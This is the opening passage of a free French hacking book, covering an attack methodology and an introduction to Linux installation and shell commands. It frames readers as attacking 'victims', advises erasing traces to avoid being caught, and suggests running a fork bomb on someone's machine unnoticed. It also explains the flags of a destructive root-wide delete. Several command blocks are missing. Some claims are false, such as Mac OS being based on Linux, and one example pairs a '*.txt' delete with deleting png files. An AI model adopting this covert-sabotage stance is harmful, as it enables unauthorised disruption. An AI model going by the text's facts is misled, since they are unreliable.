Académique Documents
Professionnel Documents
Culture Documents
Méthode en français
Ce livre est totalement libre de droit, car je crois en une transmission du savoir de
manière gratuite et accessible à tous. Vous êtes donc libre de le lire, le partager et
le modifier à votre guise.
Toute modification est accueillie avec bienveillance, que ça soit pour signaler une
erreur, ou pour ajouter du contenu dans la perspective d’enrichir ce modeste
document et de le remettre à jour.
1
Sommaire
α Introduction
α Méthodologie d’une attaque
α Commençons simple : découvrir Linux
γ Installation et prise en main graphique
γ Consoles et Terminaux, un premier pas dans l’informatique
γ Commandes basiques : naviguer entre les fichiers
α Connexions, Permissions et Démons
γ Gérer les permissions
γ Gestion des disques
γ Automatisation avec Python
γ Gestion des réseaux et attaques MITM
γ Les processus et les services
α Pénétration et Reconnaissance
γ Nmap et le FootPrinting
γ OSINT : Open Source INTelligence
α Exploitation de Failles Logiciel
γ Metasploit et Exploit-db
γ Le BruteForce
α Exploiter le Web
γ Fonctionnement du Web
γ Votre deuxième langage : SQL
γ Injection SQL
γ CSRF
γ XSS
γ Requêtes HTTP modifiées
γ Authentification vulnérable
γ Autres types d’exploitation
α Exploitation du système
γ Automatisation des tâches avec Shell
2
γ C
γ Exploitation de Binaires
γ Escalade de privilège
γ Garder le contrôle
α Sécurisation, Anonymat et Communication
γ Se rendre anonyme
γ La cryptographie
γ S’incruster sur un réseau Wifi
γ La stéganographie
γ L’ingénierie sociale
α Informations sur l’ouvrage
3
Introduction
Ayant une très mauvaise mémoire, j’écrivais ces petits guides afin d’avoir un
endroit où entreposer mes connaissances et ainsi n’avoir plus jamais à les
réapprendre suite à un oubli. Me retrouvant avec une multitude de petits fichiers
sur mon disque-dur, l’idée de les assemblés était tentante.
Vous voici devant quelques années de recherches sur le sujet, à écumer l’Internet
mondial pour y trouver de précieuses informations sur les différents sujets
présentés ci-contre. Je ne me prétends pas du tout comme un professionnel de la
chose, et toute correction est la bienvenue. Le but de ce « livre » est surtout de
centraliser toutes les notions liées au Hacking et à la sécurité informatique en
général, et ce dans l’optique de les distribuées en toute gratuité et liberté. Vous
n’aurez donc pas à débourser des cents et des milles pour des tutoriels souvent
peu clairs, ni à dépenser des heures de votre existence à regarder des vidéos sur
YouTube, faites par des Indiens avec un fort accent incompréhensible.
Si les gens de ce pays sont de bonne foi (ils l’étaient avant, je ne perds pas espoir
à ce qu’ils le redeviennent), ils enrichiront cet ouvrage en proposant de nouvelles
techniques, de nouvelles approches, de nouvelles failles à exploiter ; bref, ils
feront de ces lignes un vrai livre pour qui souhaite commencer son périple dans ce
monde magnifique qu’est la sécurité informatique.
Cet ouvrage ne doit pas être suivi du début à la fin. Ne lisez que les parties qui
vous semblent importantes et que vous voulez approfondir. Néanmoins, je
recommande à ceux qui n’y connaissent rien à Linux de commencer par le début
du livre. Toutes les informations qui sont répertoriées dans ce livre sont utiles à
l’application en sécurité informatique, il n’y a donc pas forcément tout le savoir
existant sur les domaines précis. Bonne lecture, ou relecture !
i Afin de faciliter votre lecture, des boîtes infos comme celle-ci sont réparties
dans les endroits importants pour apporter de plus amples informations.
4
Suivre ce guide en parallèle de cours
Algorithmie et programmation :
α Automatisation avec Python
α Shell
Système d’exploitation :
α Commençons simple : découvrir Linux
Réseaux et routage :
α Découvrir le réseau
α Les services
α Nmap et le Footprinting
Architecture :
α L’informatique de bas niveau avec C
α Exploitation de binaire
Fonctionnement du web :
α Exploiter le web
Bon apprentissage 👋
5
Méthodologie d’une attaque
Toute attaque sur une organisation ou une machine en particulier requiert une
certaine méthodologie. C’est un cycle qu’il faut répéter à chaque nouvelle
machine et qui commence dans un premier temps par de la reconnaissance.
Vient ensuite une analyse de la machine, des services qu’elle offre, tant dans
leur conception logicielle qui peuvent contenir des failles, que dans la manière
dont ces dits services sont utilisés par le propriétaire.
Le repérage effectué précédemment permet l’exploitation de ces failles afin de
prendre le contrôle d’un compte utilisateur sur la machine, voir de
l’administrateur lui-même.
Cependant, dans la plupart des cas, administrateur et utilisateur courant sont des
comptes bien distincts, il va donc falloir élever nos privilèges sur la machine.
Maintenant que nous sommes administrateurs, une nouvelle analyse doit être
faite pour s’assurer que toute la machine et ses données nous sont acquis.
De plus, il peut être utile au travers de cette analyse de gagner un accès
persistant à l’ordinateur de la victime, ce qui va entraîner une nouvelle
exploitation et de nouvelles escalades de privilèges.
A la fin des fins, il faut supprimer les traces de notre passage pour que jamais
nous ne soyons retrouvés. Cette dernière opération est à exécuter dans de vraies
situations, inutile de le faire en compétition de Hacking comme lors d’un CTF
(Capture The Flag).
Tout ce texte peut être résumé en une seule image que voici :
6
Dans cet ouvrage, vous apprendrez à exécuter toutes ces opérations, et même
bien plus.
Afin de bien commencer il va vous falloir maîtriser un nouvel environnement de
travail : GNU/Linux. Après avoir vu l’ensemble des éléments qui font une machine
fonctionnelle, nous verrons ensuite en détail quels seront les outils que vous aurez
à utiliser tout au long de ce guide pour les exploiter un à un.
Que cela soit des services mal paramétrés, des pages web présentant des failles,
des erreurs logicielles permettant l’élévation, ou encore de simple Hash cassable
en moins de 5 minutes, plus rien ne vous résistera, dans la limite de vos capacités
personnelles.
De nombreux exercices furent éparpillés afin que vous puissiez vous entraîner.
Toute boîte de commande commençant par un $ peut être exécutée par n’importe
qui, celle commençant par un # ne peuvent l’être que par le super-utilisateur. Ces
deux symboles ne sont pas à recopier. Les [paramètres] sont des arguments
obligatoires mais qui changent en fonction de la situation, ils seront notés entre
crochet. À l’inverse, les options, qui sont des arguments facultatifs sont notés
entre parenthèses.
Commençons avec notre premier chapitre : la découverte de Linux.
7
Commençons Simple : Découvrir Linux
Pourquoi commencer un guide pareil par une grande partie sur Linux ? Ne
pourrions-nous pas tout simplement utiliser Windows comme tout le monde ?
Ces questions sont tout à fait légitimes venant de votre part, Linux fait peur du
fait de sa réputation : celle d’un système d’exploitation fait pour les geeks
puceaux et autres nerds, sans oublier les vieux barbus coincés à l’âge de pierre
utilisant encore un terminal.
Linux a beaucoup évolué depuis les premières versions où les stéréotypes
présentés plus haut étaient vrais, et maintenant le système est beaucoup plus
conviviale. D’ailleurs, je parle de système d’exploitation Linux, mais c’est un abus
de langage…
Linux est en fait le noyau, c’est-à-dire le point central, des systèmes d’exploitation
GNU/Linux. D’autres appareils utilisent Linux comme noyau, le plus connu étant
Android, mais aussi Mac OS, qui lui est basé sur l’ancienne version propriétaire de
Linux, UNIX, qu’Apple s’est réapproprié afin de fournir un système très performant
à ses utilisateurs.
Aujourd’hui, tout le monde utilise des services basés sur Linux, quand ce n’est pas
un ordinateur qui est directement dessus. La grande majorité des serveurs que
vous consultez tous les jours en allant sur Internet tournent sur un noyau Linux ;
les supers-ordinateurs utilisent Linux ; Microsoft a implémenté un noyau Linux
optionnel avec WSL au sein de Microsoft, ce qui n’est pas la chose la plus
optimisée à faire.
8
Installation et prise en main graphique
I. Choisir sa distribution
Le grand point faible de Linux dans sa démocratisation par apport à Mac OS et
Windows a toujours été sa prétendue complexité d’installation et le nombre
ahurissant de distribution différente qui peuvent exister.
Si le premier point est tout à fait faux, il faut concéder que le deuxième est
entièrement juste. Pour ce guide, nous nous baserons sur les systèmes de type
Debian, mais nous ne vous recommandons pas son installation.
Pour un débutant en la matière, il est plus aisé de choisir une machine beaucoup
plus intuitive, et ce, dès le démarrage. Ainsi, voici une courte liste des
distributions que vous devriez essayer (n’en choisissez qu’une à la fin) :
α Ubuntu : Système d’exploitation le plus connu utilisant Linux, il est très peu
utilisé par les utilisateurs expérimentés qui lui reprochent de ne plus être
aussi libre qu’avant. C’est un système lourd mais très agréable à utiliser,
bien qu’un peu difficile à prendre en main pour quelqu’un qui n’y connaîtrait
vraiment rien en informatique. La prise en main graphique sera basée sur
Ubuntu, et le reste des commandes pour l’installation de paquets
également.
9
α Linux Mint : Bureau léger, interface rappelant Windows, c’est le système
parfait pour les débutants désireux d’un système fonctionnant dès la
première seconde après l’installation. Seul inconvénient : les problèmes
récurrents lors de l’installation chez beaucoup de personnes.
10
α Manjaro : Basé sur Arch Linux, Manjaro est un des systèmes les plus
performants qui existe. Jouissant d’une communauté active et d’un wiki
basé sur celui d’Arch Linux, la distribution tend à s’imposer avec le temps
de par sa simplicité d’utilisation, d’installation et de prise en charge. C’est
sur cette distribution que sera basé le manuel d’installation, et également
su celle-ci que j’utilise mon ordinateur ;) (mon bureau perso à droite)
11
II. Flasher son périphérique
Ça y est ? Vous avez fait votre choix ? Procédons à l’installation de votre nouveau
système ! Pas d’inquiétude, ce dernier n’est pas obligé de remplacer Windows
définitivement. Mais avant de commencer, il va vous falloir un peu de matériels :
α un ordinateur, de préférence le vôtre,
α un (ou deux) périphérique(s) de stockage, une clef USB par exemple,
α l’image disque d’une distribution Linux, celle que vous avez choisi.
Après cette courte liste de course, des explications s’imposent sur ce qu’est une
image disque. C’est un fichier portant l’extension iso que nous allons copier sur un
périphérique afin de démarrer la machine dessus. Sur tous les liens que je vous ai
donné, plusieurs versions vous sont proposés au téléchargement. Voici quelques
conseils pour bien télécharger l’image disque :
α Prenez celle qui correspond à votre architecture, c’est-à-dire 64 bits dans la
plupart des cas
α Choisissez celle portant l’inscription LTS si elle est disponible, les mises à
jour seront toujours d’actualité pour votre système, même dans dix ans.
α Si plusieurs interfaces vous sont proposées, préférez KDE ou XFCE, elles
sont plus intuitives que leurs concurrentes.
α Si votre machine est vraiment très vieille, rabattez-vous sur un système
comme Lubuntu ou AntiX
Une fois l’image téléchargée, il nous faut un logiciel pour copier les fichiers de
l’image disque sur la clef USB. Comprenez bien que copier le fichier iso depuis
votre Bureau sur la clef est inutile. Nous utiliserons Etcher, qui a l’avantage d’être
très simple et intuitif pour un début en douceur : https://www.balena.io/etcher/.
12
Nous allons graver un disque sur votre périphérique, toutes les données
! seront supprimées de la clef après cette action. Vérifiez bien les
composants que vous allez utiliser.
Pour faire ceci, il va falloir changer les options d’amorçage de votre ordinateur en
accédant au BIOS ou à l’UEFI, le deuxième étant plus moderne que le premier. Ces
deux mots barbares sont utilisés pour nommer le firmware de votre ordinateur,
c’est-à-dire le logiciel présent de base sur votre machine, indépendamment de la
présence d’un système d’exploitation comme Windows ou Linux, voir de l’absence
de ces systèmes tout court.
Les moyens de pénétrer dans de tels logiciels sont différents d’un système à un
autre. Par exemple, sur un HP, pour y accéder il faut appuyer une seule fois sur
[F10] au redémarrage de l’ordinateur lorsque l’écran s’allume, alors qu’un Huawei
a besoin d’un appui prolongé sur [F2] lors de la mise en route.
i Internet est votre meilleur ami pour trouver tout un tas de ressources sur
les firmwares de votre ordinateur.
Une fois que vous avez trouvé, branché votre clef USB (ou tout autre périphérique
de stockage), accédez-y, et désactivez Secure Boot ; puis dans la foulée, changez
l’ordre de démarrage pour que le périphérique contenant l’image disque soit
prioritaire sur votre disque dur.
13
III. Instructions d’installation
Si vous rencontrez des erreurs lors de votre premier démarrage, vous avez
i deux solutions : changer d’ordinateur ou rechercher le problème sur
Internet. La première solution est à privilégier en dernier recours.
Votre ordinateur a bien démarré ? Tout s’est bien déroulé ? Génial ! Nous allons
pouvoir commencer l’installation.
i Notez que l’ordre des fenêtres peut varier en fonction des distributions.
En face de vous se trouve une fenêtre nommée Installateur, si ce n’est pas le cas,
une icône sur le bureau devrait vous permettre de l’ouvrir. Elle devrait ressembler
à celle présente ci-dessous :
14
L’installateur vous demande ensuite de saisir votre région afin de vous proposer
une heure et une date cohérente avec votre situation :
15
Voici venir le moment fatidique, la gestion des partitions, vous avez le droit à trois
scénarios différents en fonction de votre situation actuelle :
α Vous n’avez pas envie de toucher à votre disque dur interne et souhaitez
installer Linux sur un autre périphérique (clef USB, HDD externe, etc),
sélectionnez votre disque dans la liste en haut à droite :
α Vous voulez remplacer Windows par Linux en vous lançant corps et âme
dans la découverte de ce dernier : Choisissez votre disque dur dans la liste
en haut à droite, il est généralement sélectionné par défaut, et appuyez sur
le bouton effacer le disque.
Une option vous proposant de créer un Swap s’active alors, je vous conseille
de le positionner sur « Swap avec hibernation ». Le système aura une bien
meilleure gestion de la mémoire cache de votre machine, ce qui est très
16
bénéfique pour une utilisation au quotidien. Nous reviendrons sur cette
notion de Swap plus loin dans l’ouvrage.
α Vous voulez installer Linux à côté de Windows pour bénéficier des deux
systèmes à la fois : Sélectionnez « Installer à côté » et laisser l’installeur
faire son travail tout seul. Vous pouvez également décider de réduire
manuellement la taille d’une partition afin de faire de la place pour Linux :
17
Il vous faut rentrer les champs suivant :
α Votre nom, c’est celui qui s’affichera lors de vos connexions et navigations
sur l’interface graphique.
α Votre nom pour la connexion, c’est le nom d’utilisateur que vous utiliserez
pour vous connecter à la machine, par terminal ou par interface graphique.
α Le nom de la machine, laissez libre coure à votre imagination pour celui-là.
α Votre mot de passe
α Je vous conseille également de cocher la dernière case afin d’avoir le même
mot de passe pour votre compte et celui de l’administrateur.
Une fois que toutes ces informations sont rentrées et valides, l’écran vous
exposant le résumé de toutes les modifications apportées par l’installation va se
présenter face à vous :
Une fois l’installation finie, on se retrouve dans le chapitre suivant pour une rapide
découverte de l’interface graphique.
18
II. Interface graphique, qu’est-ce que c’est et comment choisir ?
Une Interface graphique (en anglais GUI: Graphical User Interface) est un service
qui permet l’utilisation de composants graphiques. Autrement dit, elle permet à
l’utilisateur de se servir de sa souris, de la déplacer, d’interagir avec un
environnement numérique composé de fenêtres pouvant se superposer.
GNU/Linux étant un logiciel libre, chacun peut développer des composants et des
alternatives à certains bureaux sont donc nées pour répondre à des attentes bien
précises. Énumérer toutes les interfaces existantes serait impossible tant il y en a,
je vais donc lister les plus populaires ainsi que quelques-unes de leurs
spécificités :
α Gnome : Le bureau par défaut d’Ubuntu et de Fedora. Peut s’avérer
compliquer au début mais reste l’une des plus simples et des plus
développés (nombreuses extensions disponibles)
α Plasma par KDE : Bureau le plus développé et le plus personnalisable dans
les limites imposées par les développeurs. Très agréable d’utilisation mais
assez gourmand au niveau des ressources.
α XFCE : Interface légère, facile à utiliser, il peut cependant dégoûter par son
style un peu simpliste lorsqu’il n’est pas configuré.
19
α Openbox : Oublier tout ce qui peut prendre de la puissance inutilement. Il
est l’un des bureaux les plus légers. Est repoussant pour les utilisateurs non
expérimentés par son utilisation très particulière, mais très pratique pour les
machines ayant déjà un certaine âge (vieille d’une quinzaine d’années voir
plus)
α I3 : Ce n’est pas vraiment une interface graphique, et ce n’est pas
forcément judicieux de vous le présenter ici, mais I3 est une bénédiction
pour ceux fuyant la souris et préférant se débrouiller au clavier. Les fenêtres
sont mises sous la forme de tuiles superposées ou posées côte à côte.
Comme vous avez pu le voir, chaque GUI donne un large panel d’avantages et
d’inconvénients qui, selon l’utilisateur, feront de cette Interface la meilleure. Je
vous conseillerai cependant de rester sur GNOME ou Plasma, voir XFCE si vous
êtes courageux, et de fuir les dernières de la liste avant d’avoir obtenu un assez
bon niveau en utilisation du terminal.
Voici à quoi doit ressembler votre bureau, où à peu près selon la version dont vous
disposez (ici, 20.04). Sur cette image, on peut déjà voir que la forme n’est pas la
même que sur Windows. Tâchons de donner un peu de vocabulaire :
α Le panel : partie à gauche où sont alignées les applications.
α La top bar : Barre disposée en haut de l’écran, celle-ci comporte plusieurs
outils.
20
α Le bureau : Endroit où sont étalées les fichiers et dossiers présents dans le
répertoire Bureau.
Pour continuer notre tour, appuyez sur le bouton en bas à gauche, il permet
d’afficher la liste des applications installées sur la machine.
Essayez en certaines pour vous habituer à l’univers du logiciel libre. A savoir que
l’immense majorité des logiciels que vous utilisiez sur Windows ne sont pas
disponibles sur Linux, il va donc falloir trouver des alternatives que vous pourrez
utiliser. Le site https://alternativeto.net/ fera très bien l’affaire pour ce genre
d’occasion.
En cliquant sur la flèche en haut à droite (sur la top bar), un menu déroulant
devrait s’afficher proposant des options supplémentaires.
21
C’est depuis ce menu que vous pourrez accéder aux options de votre ordinateur
et à certaines options de Gnome.
Afin de finir cette courte partie, voyons à quoi ressemble l’explorateur de fichier :
C’en est fini pour ce petit tour ! J’espère qu’il vous aura plus.
Il est concevable de trouver la configuration par défaut de Gnome repoussante.
Mais n’ayez crainte, tout (presque) est changeable sur Linux, et je suis convaincu
que vous trouverez un style à votre goût. Cependant, certaines options requièrent
des connaissances plus approfondies voir très complexes afin d’être mises en
place. Pour les quelques-un ne me croyant pas, voilà à quoi peut ressembler un
beau bureau sur Linux avec beaucoup d’expériences :
22
Consoles et Terminaux, un premier pas dans l’informatique
23
II. La console
La partie de Linux la plus connue reste la console. Un écran bicolor qui peuplera
vos cauchemars les plus horribles. Elle n’est pas à maîtriser, et personne ne
l’utilise, mais connaître son existence reste importante, et elle reste très classe à
montrer aux non-initiés pour frimer un peu :
! Lisez bien les instructions qui suivent avant de faire quoi que ce soit.
Une fois à l’intérieur de la console, il peut être assez difficile d’en sortir pour un
débutant. Retenez que les touches pour changer de console et en sortir sont Ctrl
+ Alt + fx, où x est un nombre compris entre 1 et 7. Par habitude, je vous dirai
que les touches pour aller sur la console sont f3, f4, f5, f6, f7 (à coupler avec Ctrl
+ Alt bien sûr). Que la touche pour revenir à la GUI est f2 et que celle pour aller
sur l’écran de verrouillage est f1. Mais elles changent en fonction des distributions
Linux. Pourquoi inventer une règle de convention à laquelle tous se plieraient,
lorsque l’on peut complexifier le tout.
24
Commandes de base : naviguer entre les fichiers
$ ls
Cette commande permet de lister les fichiers et les dossiers présents dans notre
répertoire. Je vous laisse essayer de votre côté, rien de bien fou devrait se
produire mais c’est déjà un pas dans votre apprentissage. Voici mon résultat :
$ ls
ASM.odt cours Untitled.xcf
'Boîtes de dialogue.odt' persoent programmation
Si je fais cette petite précision qui peut paraître inutile aux yeux de ceux qui ont
déjà un lourd passé en informatique, c’est qu’elle peut s’avérer nécessaire pour
certains. Non pas que ceux concernés soient stupides, mais que tous puissent
comprendre que recopier bêtement une commande que je vous ai noté, et vous
attendre à l’exacte similitude des résultats, et une idée à vous sortir de la tête.
Cet ouvrage est fait pour vous faire découvrir, non seulement la sécurité
informatique, mais, in extenso, le fonctionnement profond de votre machine. Je ne
ferai pas de vous des script kiddie (utilisateurs recopiant bêtement des
programmes ou des lignes de code pour H4ck3R quelqu’un, on se sent Mister
Robot…).
Ces précisions faites, continuons. Les commandes, sur Linux, utilisent des
paramètres, que nous appelleront également option. Ce sont de petits ajouts à
une commande de base – souvent non obligatoire au bon fonctionnement du
programme – qui vont changer son fonctionnement, et donc, ce que cette
25
dernière va nous renvoyer. Par exemple, avec ls, vous pouvez ajouter --all après le
nom de la commande :
$ ls --all
. 'Commentaire sur le C.odt' programmation
.. cours Untitled.xcf
ASM.odt '.~lock.Boîtes de dialogue.odt#'
'Boîtes de dialogue.odt' persoent
Ici, ls va retourner TOUS les fichiers, sans prendre en compte s’ils sont cachés ou
non. Car sur Linux, il existe cette fonctionnalité, qui est également présente sur
les systèmes Windows et OSX, et qui permet de cacher des fichiers. Enfin, pas de
les masquer à jamais, mais seulement de les rendre invisible aux yeux de
l’utilisateur peu averti qui n’utilisera pas l’option permettant de les afficher.
i Vous repérerez ces fichiers très simplement, ce sont dont le nom commence par
un point, vous pourrez même en créer vous-même à l’avenir.
Il faut savoir que chez les passionnés d’informatique, on est de véritable fainéant,
et donc, n’importe quel moyen qui nous permettrait d’automatiser une tâche ou
de la raccourcir est bon à prendre. C’est pour cette raison qu’il existe un
équivalent plus cours faisant exactement la même chose que --all :
$ ls -a
Avec de plus amples connaissances sur la commande ls, on peut ajouter plus
d’options à notre commande :
$ ls --all --reverse
Faire se suivre plusieurs options d’un coup est tout à fait possible, et leur ordre
importe peu dans la plupart des cas (si ce n’est pas le cas, vous n’aurez qu’à
essayer jusqu’à ce que l’effet escompté soit affiché).
De même que nous avons pu réduire --all en -a tout à l’heure, il est tout à fait
possible de réduire --reverse en une lettre :
$ ls -a -r
Ces manières de raccourcir les paramètres sont pour le moment assez claires, car
elles vous paraissent logiques, mais faites bien attention, il n’est pas rare que les
26
versions longues et courtes d’une commande n’est parfois aucun lien logique les
unissant de prime abord.
D’ailleurs, toujours dans cette optique d’en taper le moins possible, les petits
paramètres d’une lettre peuvent être combinés pour n’en former qu’un seul :
$ ls -ar
Je pense que nous avons bien assez épilogué sur la commande ls pour passer à la
suite. La deuxième commande que je voudrai vous présenter est la suivante :
$ cd
Ainsi, cela change un peu la syntaxe de cd que je vous avais donné au préalable.
Puisqu’il va falloir justifier un argument, nous le noterons entre crochets, cela
signifie qu’il est obligatoire pour un fonctionnement normal et complet de la
commande. De plus, à l’inverse des options qui resteront les mêmes sur toutes les
configurations pour obtenir un effet similaire, les arguments sont propres à
chaque cas de figures. Cela nous donne donc la ligne suivante :
$ cd [dossier]
Bon c’est très bien tout ça, mais comment revient-on en arrière, dans le dossier
précédent, ou dans le premier dossier de base. Et comment peut-on faire pour
découvrir de nouveaux dossiers ?
Nous répondrons à toutes ces questions en abordant un outil très utile dans la
prochaine partie : le manuel.
27
II. Lisez le putain de manuel (RTFM)
RTFM (read the fucking manual) est un mot que l’on retrouve souvent sur les
forums de discussions. Il permet de répondre rapidement au questionneur que sa
réponse se trouve dans le manuel, et que, plutôt que d’importuner les autres
utilisateurs avec sa question, il ferait mieux de la consulter, car il en apprendrait
beaucoup plus qu’avec un résumé fait par un inconnu. Mais qu’est-ce donc que ce
fameux manuel ?
Le manuel est un peu le livre sacré de tous les utilisateurs de Linux, un livre pas
facile à saisir au début et qui recèle potentiellement des connaissances
hermétiques et ésotériques. Vous le retrouverez en tapant :
$ man [commande]
$ man cd
$ man ls
28
III. Créer des fichiers, des dossiers et rediriger des résultats
Créer des fichiers et des dossiers, cela peut très bien se faire avec un explorateur
de fichier graphique, mais rappelez-vous, lorsque vous vous trouverez sur la
machine de quelqu’un d’autre, oubliez les outils graphiques. Voyons donc
comment le faire avec quelques lignes de commandes.
Pour créer un fichier, on utilisera touch suivi du nom du fichier en argument :
$ touch [nom]
$ mkdir [nom]
i Les fichiers et dossiers que nous venons de créer avec ces deux lignes sont
absolument vierges de données, inutile donc d’y utiliser ls.
Je n’ai rien d’autre à ajouter sur ces deux programmes que le manuel ne pourra
pas vous détailler plus en profondeur…
Cependant, puisque vos fichiers sont absolument vides de tout texte, je vous
propose de commencer à écrire des bribes de textes en vous exposant le concept
de flux de redirection. Laissez-moi faire une métaphore filée pour vous l’expliquer.
29
Mais avant de rediriger quoique ce soit, il faudrait peut-être commencer par les
créer ces fameuses données. Pour ce faire, utilisons la commande echo qui
permet l’affichage de textes dans le terminal :
$ echo [texte]
En dehors d’un programme qui aurait des choses à dire à l’utilisateur (renvoyer un
résultat, annoncer une erreur), cette commande peut paraître inutile, cependant,
en plus de me permettre de parfaire ce cours, elle vous servira à l’avenir pour la
modification de vos fichiers de configurations sans avoir à les ouvrir avec un
éditeur. La syntaxe de ce genre d’opération est presque toujours la même :
Le flux de redirection est représenté par le symbole > dans la ligne précédente, et
il restera toujours le même quand il s’agira d’écrire le résultat dans un nouveau
fichier, ou d’effacer le contenu d’un document existant pour le remplacer.
Des flux, il n’en existe pas qu’un seul, il y en a tout un tas, dont les utilisations
divergent en fonction du cas. Plusieurs pourront vous servir lorsque vous vous
retrouverez sur la machine d’une de vos futures victimes. Par exemple, il en existe
un pour inscrire le résultat de la commande à la fin du fichier :
30
plus, il s’aperçoit qu’un flux redirigeant les erreurs standards est présent lors de
l’exécution, il va donc s’empresser d’écrire son message dans le fichier précisé.
Bien évidemment, les deux flux sont cumulables pour séparer les sorties des
erreurs standards :
Ici, la phrase souhaitée sera inscrite dans resultats.txt, et les erreurs, qui certes
ne seront pas présentes lors de l’exécution ici, seront retranscrites dans le fichier
erreurs.txt.
Si on met de côté les flux d’entrée, permettant de donner un fichier à une
commande, et dont l’utilité laisse à désirer puisque la grande majorité des
commandes acceptent directement les fichiers en tant qu’argument quand ils en
ont besoin, il existe un dernier flux de redirection que je voudrai vous présenter :
le tube ! Ce dernier, dont le nom vient de l’anglais pipeline, sert à transférer le
résultat d’une commande directement dans une autre, il agit réellement comme
un tuyau, redirigeant de commande en commande les précieuses données
produites. Restons avec notre nouvelle commande fétiche, echo, et ajoutons
quelques petits extras pour présenter le concept :
Ici, le texte produit en sortie standard par echo est transféré par le tube – le
symbole « | » dans la commande – jusqu’à la commande base64, qui va modifier
le texte pour l’encoder en base64 (de plus amples explications seront données sur
ce codage, retenez uniquement que cette commande va transformer nos données
comme indiqué dans ces explications). SI je tenais absolument à vous présenter
ce flux, c’est que son utilisation peut être utilisée à des fins malicieuses,
notamment en redirigeant du code malveillant et en l’exécutant à l’aide du tube.
Par exemple, si je voulais exécuter une fork bomb sur le système de quelqu’un
sans que cette personne ne s’en rende compte, j’utiliserai la ligne suivante :
! Ce code n’est pas si malveillant que ça, car il n’y aura aucun dommage sur
la machine, mais a le don d’énerver puisqu’il force le redémarrage complet.
i Ce code déchiffré est appelé fork bomb, c’est un code à créer des processus
en chaîne. Plus d’informations dans les pages concernant ces derniers.
31
IV. Lire un fichier
Nous avons déjà vu tout à l’heure une manière de lire un fichier avec la
commande cat. Même si je ne vous en avais pas parlé, vous vous doutiez bien
après avoir exécuté le code que ce programme servait à la lecture de fichier. Eh
bien, dans la réalité, cat est une commande beaucoup plus complexe que ça, car
elle ne sert pas qu’à la lecture de fichiers, mais à la concaténation de ceux-ci.
Si vous n’avez jamais entendu ce mot, c’est un peu normal, il est tombé en
désuétude dans la langue française, comme le mot « désuétude » lui-même.
Pourtant, l’utilité d’un tel concept est primordiale en informatique, car sans lui,
impossible de lier deux textes ou deux chaînes de caractères en un. La syntaxe de
cat devient donc un peu plus complexe puisqu’une infinité de fichiers peuvent
être sujets à la même opération de concaténation :
$ head [fichier]
$ tail [fichier]
i N’hésitez pas à lire le manuel pour plus d’options avec ces commandes.
$ less [fichier]
32
V. Supprimer des fichiers ou des dossiers
Dans le panel des actions à absolument maîtriser, il y a les classiques que nous
avons déjà vus, comme la création et l’édition de fichier, mais il en reste une qu’il
nous faut absolument étudier : la suppression définitive des fichiers et dossiers.
! Vérifiez bien à deux reprises avant de supprimer quoique ce soit, car ici, pas
de corbeilles ou de confirmations lorsque l’on travaille dans le terminal…
Ces deux actions requièrent l’utilisation de la commande rm, dont la syntaxe pour
les fichiers est la suivante :
$ rm [fichier]
Il n’y aura plus qu’à ajouter l’option -R et le nom du dossier en argument pour
supprimer un répertoire et tout son contenu (-d étant privilégié lors d’un vide) :
$ rm -R [dossier]
α -Rf est l’argument précisant que l’on désire supprimer un dossier et son
contenu (-R à la base) et qu’aucune confirmation ne soit demandée lors de
la suppression de fichiers sensibles (donné par -f).
α / représente la racine du système, je vous donnerai de plus amples
informations sur la racine et son comportement dans la partie sur les
disques.
α * est appelé joker, il sert à sélectionné tous les dossiers et fichiers présents
dans un répertoire, en l’occurrence ici, la racine du système. Servez-vous-
en, non seulement pour appliquer une modification sur tous les fichiers,
mais également pour ne trier que les fichiers commençant ou finissant par
tel nom.
i bien supprimer tous les fichiers png (image) d’un dossier par exemple :
$ rm *.txt
33
VII. Éditer un fichier
Éditer un fichier, c’est le transformer pour qu’il ressemble à ce que l’on souhaite.
Vous l’avez déjà fait auparavant sur Windows, quand vous ouvriez le bloc note ou
une page Word. Quand on parle d’édition, on fait référence à la modification du
fichier, de son contenu ou bien de son contenant (son nom, ses métadonnées, sa
place, etc). Étudions une commande fortement intéressant permettant le
déplacement d’un fichier dans un autre dossier :
$ mv [fichier] [dossier]
$ mv livre.txt Documents/
$ mv [fichier] /chemin/vers/votre/dossier
$ cp [chemin1] [chemin2]
Pour ce faire, nous aurons besoin d’un éditeur de texte. Évidemment, utiliser un
éditeur classique et graphique comme Sublime Text, Atom ou Vscode est bien plus
pratique que ce que nous allons voir, mais le but finale de tout ceci est de pouvoir
éditer ses fichiers depuis la console, ce qui s’avéra très pratique lorsque vous
aurez pris le contrôle d’une machine et que l’édition d’un fichier devra être faite.
34
Commençons par découvrir l’éditeur Nano :
$ nano
Celui-ci est assez simple d’utilisation car il n’est pas vraiment très puissant. Pour
en sortir, il suffit de taper Ctrl + X, l’éditeur devrait alors vous proposer de
sauvegarder votre fichier puis de rentrer un nom.
Nano propose d’autres options qu’il vous liste dans la barre inférieure à votre
texte. De quoi pimenter un peu l’édition, mais rien de bien incroyable…
i Sur Linux, « ^ » veut dire Ctrl et « M- » veut dire Alt. Donc ^C veut dire Ctrl
+ c (minuscule) et M-U correspond à Alt + u.
Je sens que vous êtes resté un peu sur votre faim avec ce logiciel. Permettez-moi
donc de vous en présenter un autre : Vim. Vous pouvez le lancer avec :
$ vim
35
Vous arrivez devant un écran fourmillant d’informations en tout genre et je vous
conseille de le quitter en tapant :q
Il se peut que la commande ait renvoyé une erreur lors de l’exécution. Cela
veut dire que Vim n’est pas installé sur votre système. Pour y remédier,
tapez la commande suivante que nous expliquerons très prochainement :
Renseignez votre mot de passe, ou celui que vous avez choisi pour l’admin
de la machine. Laissez le programme faire, et tentez une nouvelle fois Vim.
Retour à la normale… Ça fait peur, n’est-ce pas ? Pas d’inquiétude à avoir, Vim
dispose d’un programme vous permettant d’apprendre à l’utiliser, vous n’avez
qu’à exécuter la commande suivante et lire les instructions :
$ vimtutor
36
Comme je me sens d’une âme charitable aujourd’hui, je vous propose une petite
liste des différentes commandes de Vim :
Je vous conseille également de vous servir de cet éditeur pour chaque édition que
vous ferez à l’avenir.
37
Session d’Exercices
Eh oui, il est temps de vous entraîner ! Toutes les informations que vous venez
d’ingurgiter doivent bien servir à quelque chose, et le mieux afin de les garder en
mémoire reste encore de les réutiliser.
Le but du défi est très simple, vous commencez au niveau 0 – accessible sur le
panneau tenant la liste des niveaux à gauche de l’écran – et votre but est de
parvenir au niveau 1 en récupérant un mot de passe vous permettant d’y accéder.
tire-pale
À chaque niveau, vous aurez à vous connecter sur une machine avec un nom
d’utilisateur différent. Pour ce faire, il faudra utiliser une application bien pratique
et très utilisé sur Linux : SSH, pour Secure SHell.
